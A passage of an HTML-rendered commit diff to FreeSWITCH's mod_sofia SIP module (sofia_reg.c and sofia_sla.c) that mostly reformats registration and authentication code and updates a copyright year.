</span><del>-                                        TAG_IF(path_val, SIPTAG_PATH_STR(path_val)),
-                                        NUTAG_WITH_THIS(nua),
-                                        SIPTAG_DATE_STR(date),
-                                        TAG_END());
</del><ins>+                                        TAG_IF(path_val, SIPTAG_PATH_STR(path_val)), NUTAG_WITH_THIS(nua), SIPTAG_DATE_STR(date), TAG_END());
</ins><span class="cx"> 
</span><span class="cx">                 if (s_event) {
</span><span class="cx">                         switch_event_fire(&amp;s_event);
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (*contact_str &amp;&amp; sofia_test_pflag(profile, PFLAG_MANAGE_SHARED_APPEARANCE_SYLANTRO)) {
</span><span class="cx">                         sofia_sla_handle_register(nua, profile, sip, exptime, contact_str);
</span><span class="cx">                 }
</span><span class="lines">@@ -1324,14 +1302,14 @@
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx"> 
</span><del>- end:
</del><ins>+  end:
</ins><span class="cx">         switch_safe_free(dup_mwi_account);
</span><span class="cx"> 
</span><span class="cx">         if (auth_params) {
</span><span class="cx">                 switch_event_destroy(&amp;auth_params);
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>-        return (uint8_t)r;
</del><ins>+        return (uint8_t) r;
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> 
</span><span class="lines">@@ -1346,7 +1324,7 @@
</span><span class="cx">         int network_port = 0;
</span><span class="cx">         char *is_nat = NULL;
</span><span class="cx"> 
</span><del>-        sofia_glue_get_addr(nua_current_request(nua), network_ip,  sizeof(network_ip), &amp;network_port);
</del><ins>+        sofia_glue_get_addr(nua_current_request(nua), network_ip, sizeof(network_ip), &amp;network_port);
</ins><span class="cx"> 
</span><span class="cx">         if (!(sip-&gt;sip_contact &amp;&amp; sip-&gt;sip_contact-&gt;m_url)) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;NO CONTACT!\n&quot;);
</span><span class="lines">@@ -1363,7 +1341,7 @@
</span><span class="cx">                 if (sip &amp;&amp; sip-&gt;sip_via) {
</span><span class="cx">                         const char *port = sip-&gt;sip_via-&gt;v_port;
</span><span class="cx">                         const char *host = sip-&gt;sip_via-&gt;v_host;
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                         if (host &amp;&amp; sip-&gt;sip_via-&gt;v_received) {
</span><span class="cx">                                 is_nat = &quot;via received&quot;;
</span><span class="cx">                         } else if (host &amp;&amp; strcmp(network_ip, host)) {
</span><span class="lines">@@ -1391,13 +1369,13 @@
</span><span class="cx">                                         break;
</span><span class="cx">                                 }
</span><span class="cx">                         }
</span><del>-                                
</del><ins>+
</ins><span class="cx">                         if (ok) {
</span><span class="cx">                                 is_nat = last_acl;
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">         if (profile-&gt;reg_acl_count) {
</span><span class="cx">                 uint32_t x = 0;
</span><span class="cx">                 int ok = 1;
</span><span class="lines">@@ -1424,7 +1402,7 @@
</span><span class="cx">                 nua_respond(nh, SIP_500_INTERNAL_SERVER_ERROR, TAG_END());
</span><span class="cx">                 goto end;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (is_nat &amp;&amp; profile-&gt;local_network &amp;&amp; switch_check_network_list_ip(network_ip, profile-&gt;local_network)) {
</span><span class="cx">                 if (profile-&gt;debug) {
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;IP %s is on local network, not seting NAT mode.\n&quot;, network_ip);
</span><span class="lines">@@ -1433,7 +1411,7 @@
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         sofia_reg_handle_register(nua, profile, nh, sip, type, key, sizeof(key), &amp;v_event, is_nat);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (v_event) {
</span><span class="cx">                 switch_event_destroy(&amp;v_event);
</span><span class="cx">         }
</span><span class="lines">@@ -1458,7 +1436,7 @@
</span><span class="cx">                         nua_handle_destroy(nh);
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (sofia_private &amp;&amp; sofia_private-&gt;gateway) {
</span><span class="cx">                 reg_state_t ostate = sofia_private-&gt;gateway-&gt;state;
</span><span class="cx">                 switch (status) {
</span><span class="lines">@@ -1468,8 +1446,8 @@
</span><span class="cx">                                 const char *new_expires;
</span><span class="cx">                                 uint32_t expi;
</span><span class="cx">                                 if (contact-&gt;m_next) {
</span><del>-                                        const char *sipip = profile-&gt;extsipip ?  profile-&gt;extsipip : profile-&gt;sipip;
-                                        for ( ; contact &amp;&amp; strcasecmp(contact-&gt;m_url-&gt;url_host, sipip); contact = contact-&gt;m_next);
</del><ins>+                                        const char *sipip = profile-&gt;extsipip ? profile-&gt;extsipip : profile-&gt;sipip;
+                                        for (; contact &amp;&amp; strcasecmp(contact-&gt;m_url-&gt;url_host, sipip); contact = contact-&gt;m_next);
</ins><span class="cx">                                 }
</span><span class="cx"> 
</span><span class="cx">                                 if (!contact) {
</span><span class="lines">@@ -1479,7 +1457,7 @@
</span><span class="cx">                                 if (contact-&gt;m_expires) {
</span><span class="cx">                                         new_expires = contact-&gt;m_expires;
</span><span class="cx">                                         expi = (uint32_t) atoi(new_expires);
</span><del>-        
</del><ins>+
</ins><span class="cx">                                         if (expi &gt; 0 &amp;&amp; expi != sofia_private-&gt;gateway-&gt;freq) {
</span><span class="cx">                                                 sofia_private-&gt;gateway-&gt;freq = expi;
</span><span class="cx">                                                 sofia_private-&gt;gateway-&gt;expires_str = switch_core_sprintf(sofia_private-&gt;gateway-&gt;pool, &quot;%d&quot;, expi);
</span><span class="lines">@@ -1503,7 +1481,7 @@
</span><span class="cx">                 default:
</span><span class="cx">                         sofia_private-&gt;gateway-&gt;state = REG_STATE_FAILED;
</span><span class="cx">                         sofia_private-&gt;gateway-&gt;failure_status = status;
</span><del>-                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;%s Registration Failed with status %s [%d]. failure #%d\n&quot;, 
</del><ins>+                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;%s Registration Failed with status %s [%d]. failure #%d\n&quot;,
</ins><span class="cx">                                                           sofia_private-&gt;gateway-&gt;name, switch_str_nil(phrase), status, ++sofia_private-&gt;gateway-&gt;failures);
</span><span class="cx">                         break;
</span><span class="cx">                 }
</span><span class="lines">@@ -1572,14 +1550,14 @@
</span><span class="cx"> 
</span><span class="cx">         if (!gateway) {
</span><span class="cx">                 if (gw_name) {
</span><del>-                        var_gateway = sofia_reg_find_gateway((char *)gw_name);
</del><ins>+                        var_gateway = sofia_reg_find_gateway((char *) gw_name);
</ins><span class="cx">                 }
</span><span class="cx"> 
</span><span class="cx"> 
</span><span class="cx">                 if (!var_gateway &amp;&amp; realm) {
</span><span class="cx">                         char rb[512] = &quot;&quot;;
</span><span class="cx">                         char *p = (char *) realm;
</span><del>-                        while((*p == '&quot;')) {
</del><ins>+                        while ((*p == '&quot;')) {
</ins><span class="cx">                                 p++;
</span><span class="cx">                         }
</span><span class="cx">                         switch_set_string(rb, p);
</span><span class="lines">@@ -1594,15 +1572,15 @@
</span><span class="cx">                 if (!var_gateway &amp;&amp; sip &amp;&amp; sip-&gt;sip_to) {
</span><span class="cx">                         var_gateway = sofia_reg_find_gateway(sip-&gt;sip_to-&gt;a_url-&gt;url_host);
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (var_gateway) {
</span><span class="cx">                         gateway = var_gateway;
</span><span class="cx">                 }
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>-        
</del><span class="cx"> 
</span><span class="cx"> 
</span><ins>+
</ins><span class="cx">         if (!(scheme &amp;&amp; realm)) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, &quot;No scheme and realm!\n&quot;);
</span><span class="cx">                 goto end;
</span><span class="lines">@@ -1614,12 +1592,12 @@
</span><span class="cx">                 switch_snprintf(authentication, sizeof(authentication), &quot;%s:%s:%s:%s&quot;, scheme, realm, gateway-&gt;auth_username, gateway-&gt;register_password);
</span><span class="cx">         } else {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, &quot;No Matching gateway found\n&quot;);
</span><del>-                goto cancel;                
</del><ins>+                goto cancel;
</ins><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         if (profile-&gt;debug) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;Authenticating '%s' with '%s'.\n&quot;,
</span><del>-                        (sip_auth_username &amp;&amp; sip_auth_password) ? sip_auth_username : gateway-&gt;auth_username, authentication);
</del><ins>+                                                  (sip_auth_username &amp;&amp; sip_auth_password) ? sip_auth_username : gateway-&gt;auth_username, authentication);
</ins><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         ss_state = nua_callstate_authenticating;
</span><span class="lines">@@ -1638,7 +1616,7 @@
</span><span class="cx">                 nua_cancel(nh, TAG_END());
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>- end:
</del><ins>+  end:
</ins><span class="cx"> 
</span><span class="cx">         if (var_gateway) {
</span><span class="cx">                 sofia_reg_release_gateway(var_gateway);
</span><span class="lines">@@ -1677,20 +1655,15 @@
</span><span class="cx">         return 0;
</span><span class="cx"> }
</span><span class="cx"> 
</span><del>-auth_res_t sofia_reg_parse_auth(sofia_profile_t *profile, 
-                                                                sip_authorization_t const *authorization, 
-                                                                sip_t const *sip, 
</del><ins>+auth_res_t sofia_reg_parse_auth(sofia_profile_t *profile,
+                                                                sip_authorization_t const *authorization,
+                                                                sip_t const *sip,
</ins><span class="cx">                                                                 const char *regstr,
</span><del>-                                                                char *np, 
-                                                                size_t nplen, 
-                                                                char *ip, 
-                                                                switch_event_t **v_event, 
-                                                                long exptime, 
-                                                                sofia_regtype_t 
-                                                                regtype, 
-                                                                const char *to_user,
-                                                                switch_event_t **auth_params,
-                                                                long *reg_count)
</del><ins>+                                                                char *np,
+                                                                size_t nplen,
+                                                                char *ip,
+                                                                switch_event_t **v_event,
+                                                                long exptime, sofia_regtype_t regtype, const char *to_user, switch_event_t **auth_params, long *reg_count)
</ins><span class="cx"> {
</span><span class="cx">         int indexnum;
</span><span class="cx">         const char *cur;
</span><span class="lines">@@ -1781,7 +1754,7 @@
</span><span class="cx">                 nonce_cb_t cb = { 0 };
</span><span class="cx">                 long nc_long = 0;
</span><span class="cx">                 first = 1;
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (nc) {
</span><span class="cx">                         nc_long = strtoul(nc, 0, 16);
</span><span class="cx">                         sql = switch_mprintf(&quot;select nonce,last_nc from sip_authentication where nonce='%q' and last_nc &lt; %lu&quot;, nonce, nc_long);
</span><span class="lines">@@ -1791,7 +1764,7 @@
</span><span class="cx"> 
</span><span class="cx">                 cb.nonce = np;
</span><span class="cx">                 cb.nplen = nplen;
</span><del>-                
</del><ins>+
</ins><span class="cx">                 switch_assert(sql != NULL);
</span><span class="cx">                 sofia_glue_execute_sql_callback(profile, NULL, sql, sofia_reg_nonce_callback, &amp;cb);
</span><span class="cx">                 free(sql);
</span><span class="lines">@@ -1883,12 +1856,11 @@
</span><span class="cx">                 domain_name = realm;
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>-        if (switch_xml_locate_user(&quot;id&quot;, zstr(username) ? &quot;nobody&quot; : username, 
-                                                           domain_name, ip, &amp;xml, &amp;domain, &amp;user, &amp;group, params) != SWITCH_STATUS_SUCCESS) {
</del><ins>+        if (switch_xml_locate_user(&quot;id&quot;, zstr(username) ? &quot;nobody&quot; : username, domain_name, ip, &amp;xml, &amp;domain, &amp;user, &amp;group, params) != SWITCH_STATUS_SUCCESS) {
</ins><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, &quot;Can't find user [%s@%s]\n&quot;
</span><span class="cx">                                                   &quot;You must define a domain called '%s' in your directory and add a user with the id=\&quot;%s\&quot; attribute\n&quot;
</span><del>-                                                  &quot;and you must configure your device to use the proper domain in it's authentication credentials.\n&quot;
-                                                  , username, domain_name, domain_name, username);
</del><ins>+                                                  &quot;and you must configure your device to use the proper domain in it's authentication credentials.\n&quot;, username, domain_name,
+                                                  domain_name, username);
</ins><span class="cx"> 
</span><span class="cx">                 ret = AUTH_FORBIDDEN;
</span><span class="cx">                 goto end;
</span><span class="lines">@@ -1900,7 +1872,7 @@
</span><span class="cx">                         goto end;
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!(number_alias = (char *) switch_xml_attr(user, &quot;number-alias&quot;))) {
</span><span class="cx">                 number_alias = zstr(username) ? &quot;nobody&quot; : username;
</span><span class="cx">         }
</span><span class="lines">@@ -1940,7 +1912,7 @@
</span><span class="cx">                         if (!strcasecmp(var, &quot;mwi-account&quot;)) {
</span><span class="cx">                                 mwi_account = val;
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (!strcasecmp(var, &quot;user-agent-filter&quot;)) {
</span><span class="cx">                                 user_agent_filter = val;
</span><span class="cx">                         }
</span><span class="lines">@@ -2030,18 +2002,12 @@
</span><span class="cx">                         }
</span><span class="cx">                         /* Check if network_ip is a proxy allowed to send us calls */
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;%d acls to check for proxy\n&quot;, profile-&gt;proxy_acl_count);
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         for (x = 0; x &lt; profile-&gt;proxy_acl_count; x++) {
</span><span class="cx">                                 last_acl = profile-&gt;proxy_acl[x];
</span><del>-                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG,
-                                                                  &quot;checking %s against acl %s\n&quot;,
-                                                                  ip, last_acl
-                                                                  );
</del><ins>+                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;checking %s against acl %s\n&quot;, ip, last_acl);
</ins><span class="cx">                                 if (switch_check_network_list_ip(ip, last_acl)) {
</span><del>-                                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG,
-                                                                          &quot;%s is a proxy according to the %s acl\n&quot;,
-                                                                          ip, last_acl
-                                                                          );
</del><ins>+                                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;%s is a proxy according to the %s acl\n&quot;, ip, last_acl);
</ins><span class="cx">                                         network_ip_is_proxy = 1;
</span><span class="cx">                                         break;
</span><span class="cx">                                 }
</span><span class="lines">@@ -2055,10 +2021,7 @@
</span><span class="cx">                                 int x_auth_ip = 0;
</span><span class="cx">                                 for (un = sip-&gt;sip_unknown; un; un = un-&gt;un_next) {
</span><span class="cx">                                         if (!strcasecmp(un-&gt;un_name, &quot;X-AUTH-IP&quot;)) {
</span><del>-                                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG,
-                                                                                  &quot;found auth ip [%s] header of [%s]\n&quot;,
-                                                                                  un-&gt;un_name, un-&gt;un_value
-                                                                                  );
</del><ins>+                                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;found auth ip [%s] header of [%s]\n&quot;, un-&gt;un_name, un-&gt;un_value);
</ins><span class="cx">                                                 if (!zstr(un-&gt;un_value)) {
</span><span class="cx">                                                         if (!switch_check_network_list_ip(un-&gt;un_value, auth_acl)) {
</span><span class="cx">                                                                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, &quot;IP %s Rejected by user acl %s\n&quot;, un-&gt;un_value, auth_acl);
</span><span class="lines">@@ -2066,9 +2029,7 @@
</span><span class="cx">                                                                 goto end;
</span><span class="cx">                                                         } else {
</span><span class="cx">                                                                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG,
</span><del>-                                                                                                  &quot;IP %s allowed by acl %s, checking credentials\n&quot;,
-                                                                                                  un-&gt;un_value, auth_acl
-                                                                                                  );
</del><ins>+                                                                                                  &quot;IP %s allowed by acl %s, checking credentials\n&quot;, un-&gt;un_value, auth_acl);
</ins><span class="cx">                                                                 x_auth_ip = 1;
</span><span class="cx">                                                                 break;
</span><span class="cx">                                                         }
</span><span class="lines">@@ -2084,12 +2045,12 @@
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;IP [%s] passed ACL check [%s]\n&quot;, ip, auth_acl);
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (zstr(passwd) &amp;&amp; zstr(a1_hash)) {
</span><span class="cx">                 ret = AUTH_OK;
</span><span class="cx">                 goto skip_auth;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!a1_hash) {
</span><span class="cx">                 input = switch_mprintf(&quot;%s:%s:%s&quot;, username, realm, passwd);
</span><span class="cx">                 su_md5_init(&amp;ctx);
</span><span class="lines">@@ -2104,41 +2065,43 @@
</span><span class="cx">         if (user_agent_filter) {
</span><span class="cx">                 if (switch_regex_match(user_agent, user_agent_filter) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                         if (sofia_test_pflag(profile, PFLAG_LOG_AUTH_FAIL)) {
</span><del>-                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;SIP auth OK (REGISTER) due to user-agent-filter.  Filter \&quot;%s\&quot; User-Agent \&quot;%s\&quot;\n&quot;, user_agent_filter, user_agent);
</del><ins>+                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG,
+                                                                  &quot;SIP auth OK (REGISTER) due to user-agent-filter.  Filter \&quot;%s\&quot; User-Agent \&quot;%s\&quot;\n&quot;, user_agent_filter, user_agent);
</ins><span class="cx">                         }
</span><span class="cx">                 } else {
</span><span class="cx">                         ret = AUTH_FORBIDDEN;
</span><span class="cx">                         if (sofia_test_pflag(profile, PFLAG_LOG_AUTH_FAIL)) {
</span><del>-                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, &quot;SIP auth failure (REGISTER) due to user-agent-filter.  Filter \&quot;%s\&quot; User-Agent \&quot;%s\&quot;\n&quot;, user_agent_filter, user_agent);
</del><ins>+                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING,
+                                                                  &quot;SIP auth failure (REGISTER) due to user-agent-filter.  Filter \&quot;%s\&quot; User-Agent \&quot;%s\&quot;\n&quot;, user_agent_filter,
+                                                                  user_agent);
</ins><span class="cx">                         }
</span><span class="cx">                         goto end;
</span><span class="cx">                 }
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>-        if (max_registrations_perext &gt; 0 &amp;&amp; 
-           (sip &amp;&amp; sip-&gt;sip_contact &amp;&amp; 
-           (sip-&gt;sip_contact-&gt;m_expires == NULL || atol(sip-&gt;sip_contact-&gt;m_expires) &gt; 0))) {
-           /* if expires is null still process */
-           /* expires == 0 means the phone is going to unregiser, so don't count against max */
</del><ins>+        if (max_registrations_perext &gt; 0 &amp;&amp; (sip &amp;&amp; sip-&gt;sip_contact &amp;&amp; (sip-&gt;sip_contact-&gt;m_expires == NULL || atol(sip-&gt;sip_contact-&gt;m_expires) &gt; 0))) {
+                /* if expires is null still process */
+                /* expires == 0 means the phone is going to unregiser, so don't count against max */
</ins><span class="cx">                 int count = 0;
</span><span class="cx"> 
</span><span class="cx">                 call_id = sip-&gt;sip_call_id-&gt;i_id;
</span><span class="cx">                 switch_assert(call_id);
</span><del>-                
</del><ins>+
</ins><span class="cx">                 sql = switch_mprintf(&quot;select count(sip_user) from sip_registrations where sip_user='%q' AND call_id &lt;&gt; '%q'&quot;, username, call_id);
</span><span class="cx">                 switch_assert(sql != NULL);
</span><span class="cx">                 sofia_glue_execute_sql_callback(profile, NULL, sql, sofia_reg_regcount_callback, &amp;count);
</span><span class="cx">                 free(sql);
</span><del>-                
-                if (count+1 &gt; max_registrations_perext) {
</del><ins>+
+                if (count + 1 &gt; max_registrations_perext) {
</ins><span class="cx">                         ret = AUTH_FORBIDDEN;
</span><span class="cx">                         if (sofia_test_pflag(profile, PFLAG_LOG_AUTH_FAIL)) {
</span><del>-                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, &quot;SIP auth failure (REGISTER) due to reaching max allowed registrations.  Count: %d\n&quot;, count);
</del><ins>+                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING,
+                                                                  &quot;SIP auth failure (REGISTER) due to reaching max allowed registrations.  Count: %d\n&quot;, count);
</ins><span class="cx">                         }
</span><span class="cx">                         goto end;
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">   for_the_sake_of_interop:
</span><span class="cx"> 
</span><span class="cx">         if ((input = switch_mprintf(&quot;%s:%q&quot;, regstr, uri))) {
</span><span class="lines">@@ -2187,7 +2150,7 @@
</span><span class="cx">                         switch_event_create_plain(v_event, SWITCH_EVENT_REQUEST_PARAMS);
</span><span class="cx">                 }
</span><span class="cx"> 
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (v_event &amp;&amp; *v_event) {
</span><span class="cx">                         short int xparams_type[6];
</span><span class="cx">                         switch_xml_t xparams[6];
</span><span class="lines">@@ -2203,12 +2166,12 @@
</span><span class="cx">                         if (mwi_account) {
</span><span class="cx">                                 switch_event_add_header_string(*v_event, SWITCH_STACK_BOTTOM, &quot;mwi-account&quot;, mwi_account);
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if ((uparams = switch_xml_child(user, &quot;params&quot;))) {
</span><span class="cx">                                 xparams_type[i] = 0;
</span><span class="cx">                                 xparams[i++] = uparams;
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (group &amp;&amp; (gparams = switch_xml_child(group, &quot;params&quot;))) {
</span><span class="cx">                                 xparams_type[i] = 0;
</span><span class="cx">                                 xparams[i++] = gparams;
</span><span class="lines">@@ -2238,15 +2201,15 @@
</span><span class="cx">                                 int j = 0;
</span><span class="cx"> 
</span><span class="cx">                                 for (j = 0; j &lt; i; j++) {
</span><del>-                                        for (param = switch_xml_child(xparams[j], (xparams_type[j]?&quot;variable&quot;:&quot;param&quot;)); param; param = param-&gt;next) {
</del><ins>+                                        for (param = switch_xml_child(xparams[j], (xparams_type[j] ? &quot;variable&quot; : &quot;param&quot;)); param; param = param-&gt;next) {
</ins><span class="cx">                                                 const char *var = switch_xml_attr_soft(param, &quot;name&quot;);
</span><span class="cx">                                                 const char *val = switch_xml_attr_soft(param, &quot;value&quot;);
</span><span class="cx">                                                 sofia_gateway_t *gateway_ptr = NULL;
</span><span class="cx"> 
</span><del>-                                                if (!zstr(var) &amp;&amp; !zstr(val) &amp;&amp; (xparams_type[j] == 1 || !strncasecmp(var, &quot;sip-&quot;,4) || !strcasecmp(var, &quot;register-gateway&quot;)) ) {
</del><ins>+                                                if (!zstr(var) &amp;&amp; !zstr(val) &amp;&amp; (xparams_type[j] == 1 || !strncasecmp(var, &quot;sip-&quot;, 4) || !strcasecmp(var, &quot;register-gateway&quot;))) {
</ins><span class="cx">                                                         if (!switch_event_get_header(*v_event, var)) {
</span><span class="cx">                                                                 if (profile-&gt;debug) {
</span><del>-                                                                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;event_add_header -&gt; '%s' = '%s'\n&quot;,var, val);
</del><ins>+                                                                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;event_add_header -&gt; '%s' = '%s'\n&quot;, var, val);
</ins><span class="cx">                                                                 }
</span><span class="cx">                                                                 switch_event_add_header_string(*v_event, SWITCH_STACK_BOTTOM, var, val);
</span><span class="cx">                                                         } else {
</span><span class="lines">@@ -2326,7 +2289,7 @@
</span><span class="cx"> #else
</span><span class="cx"> #define        LL_FMT &quot;l&quot;
</span><span class="cx"> #endif
</span><del>-                sql = switch_mprintf(&quot;update sip_authentication set expires='%&quot;LL_FMT&quot;u',last_nc=%lu where nonce='%s'&quot;, 
</del><ins>+                sql = switch_mprintf(&quot;update sip_authentication set expires='%&quot; LL_FMT &quot;u',last_nc=%lu where nonce='%s'&quot;,
</ins><span class="cx">                                                          switch_epoch_time_now(NULL) + (profile-&gt;nonce_ttl ? profile-&gt;nonce_ttl : exptime + 10), ncl, nonce);
</span><span class="cx"> 
</span><span class="cx">                 switch_assert(sql != NULL);
</span><span class="lines">@@ -2399,7 +2362,7 @@
</span><span class="cx">         sofia_gateway_t *gateway = NULL;
</span><span class="cx">         switch_hash_index_t *hi;
</span><span class="cx">         const void *var;
</span><del>-    void *val;
</del><ins>+        void *val;
</ins><span class="cx"> 
</span><span class="cx">         switch_mutex_lock(mod_sofia_globals.hash_mutex);
</span><span class="cx">         for (hi = switch_hash_first(NULL, mod_sofia_globals.gateway_hash); hi; hi = switch_hash_next(hi)) {
</span></span></pre></div>
<a id="freeswitchtrunksrcmodendpointsmod_sofiasofia_slac"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/endpoints/mod_sofia/sofia_sla.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/endpoints/mod_sofia/sofia_sla.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/endpoints/mod_sofia/sofia_sla.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /* 
</span><span class="cx">  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</ins><span class="cx">  *
</span><span class="cx">  * Version: MPL 1.1
</span><span class="cx">  *
</span><span class="lines">@@ -74,7 +74,7 @@
</span><span class="cx">         char exp_str[256] = &quot;&quot;;
</span><span class="cx">         char my_contact[256] = &quot;&quot;;
</span><span class="cx">         char *sql;
</span><del>-        struct sla_helper sh = { { 0 } };
</del><ins>+        struct sla_helper sh = { {0} };
</ins><span class="cx">         char *contact_str = sofia_glue_strip_uri(full_contact);
</span><span class="cx">         sofia_transport_t transport = sofia_glue_url2transport(sip-&gt;sip_contact-&gt;m_url);
</span><span class="cx">         char network_ip[80];
</span><span class="lines">@@ -83,17 +83,17 @@
</span><span class="cx">         char *route_uri = NULL;
</span><span class="cx">         char port_str[25] = &quot;&quot;;
</span><span class="cx"> 
</span><del>-        sofia_glue_get_addr(nua_current_request(nua), network_ip,  sizeof(network_ip), &amp;network_port);
</del><ins>+        sofia_glue_get_addr(nua_current_request(nua), network_ip, sizeof(network_ip), &amp;network_port);
</ins><span class="cx"> 
</span><del>-        sql = switch_mprintf(&quot;select call_id from sip_shared_appearance_dialogs where hostname='%q' and profile_name='%q' and contact_str='%q'&quot;, 
</del><ins>+        sql = switch_mprintf(&quot;select call_id from sip_shared_appearance_dialogs where hostname='%q' and profile_name='%q' and contact_str='%q'&quot;,
</ins><span class="cx">                                                  mod_sofia_globals.hostname, profile-&gt;name, contact_str);
</span><span class="cx">         sofia_glue_execute_sql_callback(profile, profile-&gt;ireg_mutex, sql, get_call_id_callback, &amp;sh);
</span><span class="cx"> 
</span><span class="cx">         free(sql);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (*sh.call_id) {
</span><span class="cx">                 if (!(nh = nua_handle_by_call_id(profile-&gt;nua, sh.call_id))) {
</span><del>-                        if ((sql = switch_mprintf(&quot;delete from sip_shared_appearance_dialogs where hostname='%q' and profile_name='%q' and contact_str='%q'&quot;, 
</del><ins>+                        if ((sql = switch_mprintf(&quot;delete from sip_shared_appearance_dialogs where hostname='%q' and profile_name='%q' and contact_str='%q'&quot;,
</ins><span class="cx">                                                                           mod_sofia_globals.hostname, profile-&gt;name, contact_str))) {
</span><span class="cx">                                 sofia_glue_execute_sql(profile, &amp;sql, SWITCH_TRUE);
</span><span class="cx">                         }
</span><span class="lines">@@ -110,15 +110,15 @@
</span><span class="cx"> 
</span><span class="cx">         switch_snprintf(port_str, sizeof(port_str), &quot;:%ld&quot;, sofia_glue_transport_has_tls(transport) ? profile-&gt;tls_sip_port : profile-&gt;sip_port);
</span><span class="cx"> 
</span><del>-        if (sofia_glue_check_nat(profile, network_ip)) { 
-                switch_snprintf(my_contact, sizeof(my_contact), &quot;&lt;sip:%s@%s%s;transport=%s&gt;;expires=%s&quot;, profile-&gt;sla_contact, 
</del><ins>+        if (sofia_glue_check_nat(profile, network_ip)) {
+                switch_snprintf(my_contact, sizeof(my_contact), &quot;&lt;sip:%s@%s%s;transport=%s&gt;;expires=%s&quot;, profile-&gt;sla_contact,
</ins><span class="cx">                                                 profile-&gt;extsipip, port_str, sofia_glue_transport2str(transport), exp_str);
</span><span class="cx">         } else {
</span><del>-                switch_snprintf(my_contact, sizeof(my_contact), &quot;&lt;sip:%s@%s%s;transport=%s&gt;;expires=%s&quot;, profile-&gt;sla_contact, 
</del><ins>+                switch_snprintf(my_contact, sizeof(my_contact), &quot;&lt;sip:%s@%s%s;transport=%s&gt;;expires=%s&quot;, profile-&gt;sla_contact,
</ins><span class="cx">                                                 profile-&gt;sipip, port_str, sofia_glue_transport2str(transport), exp_str);
